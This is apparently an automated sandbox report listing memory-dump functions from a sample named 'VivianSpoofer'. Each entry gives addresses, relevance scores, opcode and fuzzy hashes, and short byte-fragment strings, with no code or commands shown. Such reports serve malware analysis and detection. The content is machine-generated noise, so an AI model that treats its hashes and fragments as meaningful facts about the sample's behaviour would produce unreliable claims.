Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: (i.
API String ID: 0-3893774416
Opcode ID: 81755bd7eda0600d22e7b501150756910a48bd7c66447af712f2a5cf944f74e1
Instruction ID: e0663b69f8d1b24d11d4ecafbe00622f9aa9f5acc5ecb8ce85a3e754638547ce
Opcode Fuzzy Hash: 81755bd7eda0600d22e7b501150756910a48bd7c66447af712f2a5cf944f74e1
Instruction Fuzzy Hash: 6181513271CA498FE75CDA2D885917977D3EBCA315714827EE48FC72D2DD24EC0A8288

Function 00007FFAAC47A327 Relevance: 1.5, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

- W, xrefs: 00007FFAAC47AA06

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: - W
API String ID: 0-474379141
Opcode ID: 7cd0890be23a9007179fdac34c91cf29661252bee4a2c5f02989ddc04210f03f
Instruction ID: f6e06470b4f72ae6aee9a172fe7a07141b4e4a6af08ee90f7194efd6895b822e
Opcode Fuzzy Hash: 7cd0890be23a9007179fdac34c91cf29661252bee4a2c5f02989ddc04210f03f
Instruction Fuzzy Hash: 51510077F292704BA75C842D4C1617972C79BCAB15B19E13AD88ADB3C9EC34DC1242C5

Function 00007FFAAC4742A0 Relevance: .5, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33e7a93afad1115a0f786792caa560469b88f16fc0554254900c07aa7daed74d
Instruction ID: 3d8f89cb94bf62461830400d97174dd1dbd3dda1a33bbfe2544c4076d22a9ccb
Opcode Fuzzy Hash: 33e7a93afad1115a0f786792caa560469b88f16fc0554254900c07aa7daed74d
Instruction Fuzzy Hash: 56E11574E096598FDB48CBA8C4949BDBBF2EF99300B14C1ABD049E7391DA38E905CF50

Function 00007FFAAC474549 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eedff5b57cefbf8ecaa391168e309e0b6644a7abeac9e2f56e3c6ac5c9b83744
Instruction ID: e2174da6bcde193f3d20191695eb55c9dcf9eb3b97e8aa383ee318d25da429c7
Opcode Fuzzy Hash: eedff5b57cefbf8ecaa391168e309e0b6644a7abeac9e2f56e3c6ac5c9b83744
Instruction Fuzzy Hash: E0910874E0964D8FDB49DB68C4949BDBBF1FF5A300B1481AAD04DDB292CA38ED05CB51

Function 00007FFAAC47BC37 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 898154cb7434384ed71ab3cb8af5b59ec37f40151d74f47030c3197614d45c04
Instruction ID: 512ba679b95163a4a191f38bc4eff9497d834cd3a6a5e7a85f14930ab42830c8
Opcode Fuzzy Hash: 898154cb7434384ed71ab3cb8af5b59ec37f40151d74f47030c3197614d45c04
Instruction Fuzzy Hash: 5A61152171D6894FE71DD63D881A579BBD6DBC6224B18817EE08FCB2A3DD24D8168380

Function 00007FFAAC473318 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed43375e6a4bb744957ba0ffb878115d3c3952249b38cb977c3376f2787e28f8
Instruction ID: 826d58491a2c346e1c43d6252129e77b0d3852e047f83302ff4ba2dd8bf2e935
Opcode Fuzzy Hash: ed43375e6a4bb744957ba0ffb878115d3c3952249b38cb977c3376f2787e28f8
Instruction Fuzzy Hash: FC512831B592424BE31CDF1D9885175B6E7EBDA305724D67EE08FC76CBCA24E80B8684

Function 00007FFAAC471F4B Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bc3df3cb9fb2de44cb82b23471e962effb832034ed9d4e4afa902c2fb1f950c
Instruction ID: 313f51cf673c2716eda5fe17bee00fea40a5d919315d54eb731cde76070fc7b4
Opcode Fuzzy Hash: 2bc3df3cb9fb2de44cb82b23471e962effb832034ed9d4e4afa902c2fb1f950c
Instruction Fuzzy Hash: A951E771E096998FDB45CF68C8506ADBBF2FF8A300F0485E6D049DB293DA38D916CB51

Function 00007FFAAC47BE7D Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e86ead3e6d3cdb9ddeb3bef54ca4f90ce2710d2653a6197bb62145d85a7d77a3
Instruction ID: 62c13c3c16cc2cd5e903de5f62d37aeaa118d175031f7e9f6b527a2ba4679507
Opcode Fuzzy Hash: e86ead3e6d3cdb9ddeb3bef54ca4f90ce2710d2653a6197bb62145d85a7d77a3
Instruction Fuzzy Hash: C74117327149054F931CCA2E8956079B2CBEBD9314319C13EE54FCB3AADE34ED1B8684

Function 00007FFAAC470340 Relevance: 6.9, Strings: 5, Instructions: 611COMMON

Download Yara Rule

Strings

b4$, xrefs: 00007FFAAC4AB540
gfff, xrefs: 00007FFAAC4AB3ED
VUUU, xrefs: 00007FFAAC4AB3D4
6$, xrefs: 00007FFAAC4AB4B5
qJ_H, xrefs: 00007FFAAC4AB4BF

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 6$$VUUU$b4$$gfff$qJ_H
API String ID: 0-1745516238
Opcode ID: e9a2e4c9d35b55ed1720f596ba9f98d8927649b65eb12d0422494f042b508065
Instruction ID: a4438d107e55a9e565efc97601247a8894e0be89be8855dc326a8c1707be18fc
Opcode Fuzzy Hash: e9a2e4c9d35b55ed1720f596ba9f98d8927649b65eb12d0422494f042b508065
Instruction Fuzzy Hash: 4212E470A18A098FEB58DF1CC485AA9B7E1FF59704F508279D44EC7296CA34F886CBC5

Function 00007FFAAC4717C0 Relevance: 5.6, Strings: 4, Instructions: 553COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FFAAC4A81C1
gfff, xrefs: 00007FFAAC4A81DA
b4$, xrefs: 00007FFAAC4A8339
6$, xrefs: 00007FFAAC4A82A2

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 6$$VUUU$b4$$gfff
API String ID: 0-4046042663
Opcode ID: e91f275e740ed30e2be6d88d1cbb6656915e9b415178445b521bd07abb0ce871
Instruction ID: 71e194cfd7da77d920a3f69296b6019265a1a986c94a8a2ff606c0318f78b945
Opcode Fuzzy Hash: e91f275e740ed30e2be6d88d1cbb6656915e9b415178445b521bd07abb0ce871
Instruction Fuzzy Hash: 0602C670A18A0A8FEB58DF1CC4859A9B7E1FF59704F148279D45EC3296DA34F886CBC4

Function 00007FFAAC471888 Relevance: 4.0, Strings: 3, Instructions: 292COMMON

Download Yara Rule

Strings

(]*8, xrefs: 00007FFAAC4719E1
]*8, xrefs: 00007FFAAC47197C
.N_I, xrefs: 00007FFAAC471904

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: ]*8$(]*8$.N_I
API String ID: 0-1006960744
Opcode ID: 88ea15431f3751c429efce8856c13d7e0b1356e1c90aefe92b17688660055642
Instruction ID: 877b2fe7a2e5c6062270e3d6d48a85e3fadbae770576c46fc13ec1a3c70a4077
Opcode Fuzzy Hash: 88ea15431f3751c429efce8856c13d7e0b1356e1c90aefe92b17688660055642
Instruction Fuzzy Hash: D2A1487290D6998FE749EB68C4549E87BF1EF56300F0480FAD04ECB297DD38A949C784

Function 00007FFAAC471880 Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

(]*8, xrefs: 00007FFAAC4719E1
]*8, xrefs: 00007FFAAC47197C
.N_I, xrefs: 00007FFAAC471904

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: ]*8$(]*8$.N_I
API String ID: 0-1006960744
Opcode ID: 6b4a71d163b778ed645a0f042c9843e34c9b64021b9af86837cf4b207cd758a0
Instruction ID: 57756afe6aa4bee522651b916745c4f3f83ec2cb9924dddfe7d4436b3aacdb13
Opcode Fuzzy Hash: 6b4a71d163b778ed645a0f042c9843e34c9b64021b9af86837cf4b207cd758a0
Instruction Fuzzy Hash: 985128729085598FE784EB68C858AF97BF1EF55314F0480BAD00EC7297DD38E989CB84

Function 00007FFAAC472359 Relevance: 2.9, Strings: 2, Instructions: 378COMMON

Download Yara Rule

Strings

b4$, xrefs: 00007FFAAC4723FC
6$, xrefs: 00007FFAAC4723B6

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 6$$b4$
API String ID: 0-1037896091
Opcode ID: 56566d67ac04ac2d2eaf6204152330b5316a83ebcd4a1dae5fbf4bf09e7a26b5
Instruction ID: e1657f6aa75df436702bbeb8c708ad041a602e58214f5f988da49840da36612e
Opcode Fuzzy Hash: 56566d67ac04ac2d2eaf6204152330b5316a83ebcd4a1dae5fbf4bf09e7a26b5
Instruction Fuzzy Hash: 8FA17B62B1DA4A8FF7A8DB2C985A6B537C1EF99354B04417AE44EC3693ED18EC0743C4

Function 00007FFAAC5457C1 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

@nc, xrefs: 00007FFAAC5458B6
jc, xrefs: 00007FFAAC545983

Memory Dump Source

Source File: 00000011.00000002.2579070730.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac540000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: jc$@nc
API String ID: 0-1653775069
Opcode ID: 5cde9236e3dcf6f868a79cf85ad50f00988b46ddafd18316e63c3fa7f5826095
Instruction ID: 819e420753d395b841b2cffd79e252fc30b3c5623e55de791e41659dedac813c
Opcode Fuzzy Hash: 5cde9236e3dcf6f868a79cf85ad50f00988b46ddafd18316e63c3fa7f5826095
Instruction Fuzzy Hash: 3D41A36289FBC78FFB5B876899251B02FA5DF5315075981F7E08DCB1A3D8089C4E8391

Function 00007FFAAC54B7A4 Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

(<, xrefs: 00007FFAAC54B8A1

Memory Dump Source

Source File: 00000011.00000002.2579070730.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac540000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: (<
API String ID: 0-1912701986
Opcode ID: 5922e4cb86dfc3d25c113bcf68f03e78e200e92f940f2fadaace61a1b9bfd0c5
Instruction ID: 2097fe7f221f1c1411ce531d9b7440c2b99eb62594c55d84c95ed495a917d96b
Opcode Fuzzy Hash: 5922e4cb86dfc3d25c113bcf68f03e78e200e92f940f2fadaace61a1b9bfd0c5
Instruction Fuzzy Hash: 37411962A8EF864FF355972898562747BD6EFA7210F4841BEE48DC3293DC15EC0683C6

Function 00007FFAAC473C7D Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

8]*8, xrefs: 00007FFAAC473D29

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 8]*8
API String ID: 0-936822279
Opcode ID: 9282919f530a86ba765709b92ac7d17b814453bf3c657c166d189d56e9b1c535
Instruction ID: b62a8eee7586eff306b3f7645b24a9e8b8bc4e5518816da46b864417a1a73dbe
Opcode Fuzzy Hash: 9282919f530a86ba765709b92ac7d17b814453bf3c657c166d189d56e9b1c535
Instruction Fuzzy Hash: F041F971A0EA99CFEB95EB38845D5A53BE1EF5A309B0401BED00DD71A2DE39DC45C780

Function 00007FFAAC4735B0 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FFAAC473674

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: 175e37101c20e5a464e8a4e0d2dd2f8f1c2b007552b73eab26f7e6cd182c5e31
Instruction ID: 75e72d6776844784db87e6e0c43dd8e20a5b15eed8c67a6e5fd7190d873f5f0f
Opcode Fuzzy Hash: 175e37101c20e5a464e8a4e0d2dd2f8f1c2b007552b73eab26f7e6cd182c5e31
Instruction Fuzzy Hash: 6D3128A2A1E99A5BF368D32C8C5E5B63BC1DB96265B04827BD04FC76D6EC1CD80D43C4

Function 00007FFAAC4707F8 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

8]*8, xrefs: 00007FFAAC473D29

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 8]*8
API String ID: 0-936822279
Opcode ID: 0e7b92a3d8e7f9a6aae17a7113166a25ee57980b80a4e50d1cd8814c5ebe5c8d
Instruction ID: fbd3c0adb67048df9aa54853733c8d523478fef38cb0e9cab1783c8135d79177
Opcode Fuzzy Hash: 0e7b92a3d8e7f9a6aae17a7113166a25ee57980b80a4e50d1cd8814c5ebe5c8d
Instruction Fuzzy Hash: 0741E831A0AA5DCFEB85EB3C841D5A97BE1EF5A319B0400BAD00DD7292DE39DC45C780

Function 00007FFAAC473CB0 Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

8]*8, xrefs: 00007FFAAC473D29

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 8]*8
API String ID: 0-936822279
Opcode ID: a2430fd5096e0c376fb2ddc1ec8db95a4a9333bfa61ebb160ee4b0e9f63f89cc
Instruction ID: 286ad93bf3c7e0ee7e1210649dbc94b817891d1a26d5f0ab420cc6fd74a2475e
Opcode Fuzzy Hash: a2430fd5096e0c376fb2ddc1ec8db95a4a9333bfa61ebb160ee4b0e9f63f89cc
Instruction Fuzzy Hash: 4A31C731A0695D8FEB88EB28C449AA977E1EF59319B4005B9E40DD7292DE35DC45CB80

Function 00007FFAAC35F920 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

8{, xrefs: 00007FFAAC35F925

Memory Dump Source

Source File: 00000011.00000002.2576500420.00007FFAAC35D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC35D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac35d000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 8{
API String ID: 0-758774909
Opcode ID: 57fb0666d23c4b22d4b0c5a268fe957e3e317f3691561214990cef0b881466af
Instruction ID: 6c9bfc69b886241314e3f6b3efa10fdd87d87b662c2c44f3861bbbce2c313d07
Opcode Fuzzy Hash: 57fb0666d23c4b22d4b0c5a268fe957e3e317f3691561214990cef0b881466af
Instruction Fuzzy Hash: 5731A47040EFC49FE7568B3988559227FB0EF57210B1545DFD088CB1A7C628E849C7A2

Function 00007FFAAC47A6B2 Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

r6$, xrefs: 00007FFAAC47A6DB

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: r6$
API String ID: 0-3517523601
Opcode ID: 4348eed54d2573d467d8c07d2379bc613cc749fbdeaf9b1c1e66afd418732a03
Instruction ID: b15310874bee4e986fbf49dbe337211f7d02f47dbfc0f1380d37bff4423ce64c
Opcode Fuzzy Hash: 4348eed54d2573d467d8c07d2379bc613cc749fbdeaf9b1c1e66afd418732a03
Instruction Fuzzy Hash: 8121C127F566714BB35C852E4D06125A2CBABDA70571DE136E48EDB3D9EC34DC0642C4

Function 00007FFAAC47012D Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

_, xrefs: 00007FFAAC470139

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: efa1548b8b6f18625df5a6b6ec49af83461a5068dde8be51c844d762592323cc
Instruction ID: 9fe3c51b55ea6b5539ad8b1bc4d309126f096dc3c7a8e12bec0dfff517ee0d6a
Opcode Fuzzy Hash: efa1548b8b6f18625df5a6b6ec49af83461a5068dde8be51c844d762592323cc
Instruction Fuzzy Hash: A0213876A882614BE354FBBCF4E99FA77D0DF4137AB04463BD1CAC52A3D914908687C0

Function 00007FFAAC54B599 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

(<, xrefs: 00007FFAAC54B642

Memory Dump Source

Source File: 00000011.00000002.2579070730.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac540000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: (<
API String ID: 0-1912701986
Opcode ID: 00243749972a415027d04b85bf63b478cb2edaa9f30b732f54f67ed7510c6c3c
Instruction ID: db3b4ae6454f634176d5c7d2e6668c9658e304ce5b972b1da4c9da2222496bf2
Opcode Fuzzy Hash: 00243749972a415027d04b85bf63b478cb2edaa9f30b732f54f67ed7510c6c3c
Instruction Fuzzy Hash: 9C210661A8EBC64FF367472899641617FA6EFA721070940FBE48DC71A3E909DC09C382

Function 00007FFAAC471C12 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

8]*8, xrefs: 00007FFAAC47210E

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 8]*8
API String ID: 0-936822279
Opcode ID: 73d30606aad4b03b78235831138bb80c570ae69dcfb24696d485accc6dac4b9b
Instruction ID: 757360ff8ed102537352b358be798398776b152fc82ec15ab89760aba96b0c8e
Opcode Fuzzy Hash: 73d30606aad4b03b78235831138bb80c570ae69dcfb24696d485accc6dac4b9b
Instruction Fuzzy Hash: F3315C30E1591DCFEB58CB99C9956BDB3F2FF99305F10806AD00EE7690DA38A945CB40

Function 00007FFAAC473607 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FFAAC473674

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: e3cf26b03844e43e412121334e985ba7262189290d2dc48537a47b5fdb55f2aa
Instruction ID: 759cf0a8f37d89212c03dc25b90e41adc8c63cef34f76e2c3f70ce6a16950be6
Opcode Fuzzy Hash: e3cf26b03844e43e412121334e985ba7262189290d2dc48537a47b5fdb55f2aa
Instruction Fuzzy Hash: CC210861A1994A5FF368D62CCC5D6B23BD5EB95255B04C23AE40FC62D6EC18980943C4

Function 00007FFAAC4720E9 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

8]*8, xrefs: 00007FFAAC47210E

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 8]*8
API String ID: 0-936822279
Opcode ID: 6fc8d50dd6c86d6ea0dc4ecea4d46c32638cc100b55186cd1f74dadddc63457a
Instruction ID: 6a04ff4d0f69a0c23bfe7d64da1d2cbb6273a9a8c5c860c3ef22c857f0eb89c2
Opcode Fuzzy Hash: 6fc8d50dd6c86d6ea0dc4ecea4d46c32638cc100b55186cd1f74dadddc63457a
Instruction Fuzzy Hash: E6216D31E1491D8FDB58DBA8C8956BDB3F2FF69305B108169D01AEB690CB38E901CB40

Function 00007FFAAC473630 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FFAAC473674

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: 7f11a8f8c689a1949feab112f2c600494405e750f001e14a33a9ea9a1b972633
Instruction ID: 4f86c8d3de78f05c75b17d2058fc392cac40f351d2f1faafb2e5222cf5120fc8
Opcode Fuzzy Hash: 7f11a8f8c689a1949feab112f2c600494405e750f001e14a33a9ea9a1b972633
Instruction Fuzzy Hash: E201C461B1980E5FF7A8E629CC4DAB677D6D7D5260700823AE40FC32DAEC28A80947C4

Function 00007FFAAC47372E Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FFAAC473674

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: 037a39e81e8dc9841d84035def576474e677341a9cdf8280cdc43ba3a916bd63
Instruction ID: a344fca3279b8d6a904c60877079feb182510196a855d4aa995858e82c4b7d65
Opcode Fuzzy Hash: 037a39e81e8dc9841d84035def576474e677341a9cdf8280cdc43ba3a916bd63
Instruction Fuzzy Hash: 4011A961B19A1E8BF7A8EA2C885967673D3D7E5314B10C63A940FC72DADD68E80D43C4

Function 00007FFAAC47B4DF Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

]*8, xrefs: 00007FFAAC47B523

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: ]*8
API String ID: 0-2726017399
Opcode ID: e249c2fbacd3215efc6e58c1d2cb817f357b9755b79410943d57640d57dbabc7
Instruction ID: 0a17eea5831e2b2ca25f30477f69a482449f9892e2215d260f05817b8232bc11
Opcode Fuzzy Hash: e249c2fbacd3215efc6e58c1d2cb817f357b9755b79410943d57640d57dbabc7
Instruction Fuzzy Hash: 7301D27270DA588FE759DA28D8055F573E1EBAA324F0040BFD08DC72A2DD36E8468784

Function 00007FFAAC47B504 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

]*8, xrefs: 00007FFAAC47B523

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: ]*8
API String ID: 0-2726017399
Opcode ID: eb3088ee63de7b8ddafc1cc474e927c19c91f29992077e752feaae37307e7475
Instruction ID: e5b79fc51fd88e489db0d02cf6ab36ea1478daedbeb14e3799893dfe1e6ede33
Opcode Fuzzy Hash: eb3088ee63de7b8ddafc1cc474e927c19c91f29992077e752feaae37307e7475
Instruction Fuzzy Hash: 6801F53130DA148FE768DA1CD8056F573D1EB9E324F00406ED0CDC72A2DD36E8568741

Function 00007FFAAC470220 Relevance: .6, Instructions: 613COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90a56ee5cf5ec2cc9e7d474d16782d2aa3c9b41f77de0d98dd23798fb49c35ea
Instruction ID: 153bfaa24579d9afeb481fd2e81ddea4b22e8ae40820bad471606935640d738f
Opcode Fuzzy Hash: 90a56ee5cf5ec2cc9e7d474d16782d2aa3c9b41f77de0d98dd23798fb49c35ea
Instruction Fuzzy Hash: BF12AE70A18A098FEB98EB1CC845AB977E1FF59304F1081B9D41ED3296DE34FD468B85

Function 00007FFAAC4716A0 Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41806f30bab8c9e7830e4e63a17ca00b35336928ab9dfbde318a4ed6a6b4927a
Instruction ID: 927ceaddd964faee6a2a9dcb498e52f1faeb6b01db09da67339e7958c21b88a8
Opcode Fuzzy Hash: 41806f30bab8c9e7830e4e63a17ca00b35336928ab9dfbde318a4ed6a6b4927a
Instruction Fuzzy Hash: F2F13070A18A1D8FEF58EF58C489AA977E1FF99304F108179D40ED7296DA34F846CB84

Function 00007FFAAC54DF55 Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2579070730.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac540000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
